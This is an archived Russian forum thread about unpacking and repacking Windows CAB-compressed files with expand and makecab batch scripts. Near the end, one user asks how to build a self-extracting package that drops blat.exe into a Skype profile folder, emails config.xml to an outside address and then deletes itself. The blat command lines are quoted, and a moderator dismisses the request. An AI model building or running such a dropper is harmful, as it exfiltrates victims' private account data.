Показать полную графическую версию : [решено] Запакавка распаковка файлов из дистрибутива
Подскажите какой командой в CMD распаковать файлы вида XPTHT37W.CS_, XPTHT53D.GI_ и запаковать их обратно. Причем таких файлов куча лежит в папке и нужно их распаковать в эту же или другую папку. И как запоковать обратно?
rem Распаковка файла
Expand -r "Temp\Comctl2.dl_" Temp\ >nul
pause
rem Упаковка файла
MakeCab /D CompressionMemory=21 /D CompressionType=LZX /L "Temp" Temp\Comctl2.dll Comctl2.dl_ >nul
pause Можете подсмотреть в скрипте UpDatePack-a.
gora, выполняю так:
Expand -r "*.*" \ >nul
и ничего. А нужно чтобы все файлы из текущей папки распаковало в эту же папку.
нужно чтобы все файлы из текущей папки распаковало в эту же папку »
Текущей - значит скрипт находится в той же папке, что и распаковываемые файлы.For %%I In (*.??_) Do Expand -r "%%I" >nul
Можете подсмотреть в скрипте UpDatePack-a. »
я туговат с этими скриптами. Могли бы Вы подсказать еще скрипт для распаковки кучи файлов в нужную мне папку и упаковку обратно всех файлов из одной папки в другую?
скрипт для распаковки кучи файлов в нужную мне папку и упаковку обратно всех файлов из одной папки в другую? »@Echo Off
setlocal enabledelayedexpansion
rem Путь и имя папки со сжатыми файлами
Set "Source=c:\musor\temp"
rem Путь и имя папки для распакованных файлов
Set "Out_1=c:\musor\temp1"
rem Путь и имя папки для повторно сжатых файлов
Set "Out_2=c:\musor\temp2"
rem Распаковка файлов из папки Source в папку Out_1
For /F "UseBackQ Delims=" %%I In (`Dir "%Source%\*.??_" /B /ON 2^>nul`) Do Expand -r "%Source%\%%~I" "%Out_1%" >nul
Pause
rem Упаковка файлов из папки Out_1 в папку Out_2
For /F "UseBackQ Delims=" %%I In (`Dir "%Out_1%\*" /B /ON 2^>nul`) Do (
Set ext=%%~xI
MakeCab /D CompressionMemory=21 /D CompressionType=LZX /L "%Out_2%" "%Out_1%\%%~I" "%%~nI!ext:~0,-1!_" >nul
)
Pause
Exit
gora, подскажите еще команду пожалуйста. Мне нужно кучу файлов из одной папки упаковать в CAB архив в другую папку. Как это записать?
Pozia, я делал так:For %%I In (Диск:\папка с файлами,которые нужно уапаковать\*.*) Do START /WAIT MAKECAB.exe "%%~I"
Запакованные файлы появится там от куда был запущен батник.
Petya V4sechkin
22-10-2009, 11:50
нужно кучу файлов из одной папки упаковать в CAB архив в другую папку.
Можно с помощью Makecab:
@Echo Off
SetLocal EnableExtensions
Set SrcDir=Папка_с_файлами
Set DestCAB=Полное_имя_CAB-файла
Echo .OPTION EXPLICIT > "%Temp%\x1.DDF"
Echo .Set RptFileName="%Temp%\x1.RPT" >> "%Temp%\x1.DDF"
Echo .Set InfFileName=NUL >> "%Temp%\x1.DDF"
Echo .Set DestinationDir= >> "%Temp%\x1.DDF"
Echo .Set CabinetName1="%DestCAB%" >> "%Temp%\x1.DDF"
Echo .Set DiskDirectoryTemplate= >> "%Temp%\x1.DDF"
Echo .Set UniqueFiles=Off >> "%Temp%\x1.DDF"
Echo .Set FolderSizeThreshold=5000000 >> "%Temp%\x1.DDF"
Echo .Set MaxDiskSize=0 >> "%Temp%\x1.DDF"
Echo .Set Cabinet=On >> "%Temp%\x1.DDF"
Echo .Set Compress=On >> "%Temp%\x1.DDF"
Echo .Set CompressionType=LZX >> "%Temp%\x1.DDF"
Echo .Set CompressionMemory=21 >> "%Temp%\x1.DDF"
For /F "Delims=" %%K In ('Dir /A-D /B "%SrcDir%"') Do Echo "%SrcDir%\%%~K" >> "%Temp%\x1.DDF"
MAKECAB.EXE /F "%Temp%\x1.DDF"
или воспользоваться Cabarc.exe (http://support.microsoft.com/kb/310618)
Petya V4sechkin, а можете попроще написать команду? Самому не получается. Мне нужно запустить скрипт, который сожмет все файлы в папке лежащей рядом со скриптом в файл под тем же именем что и папка??? Ведение журнала мне совершенно не нужно (если я правильно понял Ваш скрипт)
Pozia, неправильно поняли. В данном случае строится файл «*.ddf», необходимый для работы утилиты «makecab.exe».
Подробное описание и формат файла инструкций Вы можете найти в файле «.\DOCS\makecab.doc» из набора Microsoft Cabinet Software Development Kit (http://support.microsoft.com/kb/310618) в разделе 4.
Ребята есть такая задача, помогите решить
Имею в одной папке бат с командой:
:send
blat.exe -install -server smtp.mail.ru -port 587 -f (емейл отпавителя)@mail.ru -u (лоин отправителя) -pw (пароль отправителя)
blat.exe -body text -to (емейл получателя)@mail.ru -attach config.xml
и файлы blat.exe, blat.dll, blat.lib
Как мне запокавать в exe или bat так что бы при запуске его он распокавал это все в директорию %appdata%\Skype\(папка именем логина)\ там же запустил тот самый bat с вышеописаной командой:
:send
blat.exe -install -server smtp.mail.ru -port 587 -f (емейл отпавителя)@mail.ru -u (лоин отправителя) -pw (пароль отправителя)
blat.exe -body text -to (емейл получателя)@mail.ru -attach config.xml
после чтоб все это удалилось.
Спасибо)
zaxtone, Вы разместили свой вопрос в теме, не имеющуей к нему никакого отношения. Выносите вопрос в отдельную или соответствующую тему.
© OSzone.net 2001-2012
vBulletin v3.6.4, Copyright ©2000-2025, Jelsoft Enterprises Ltd.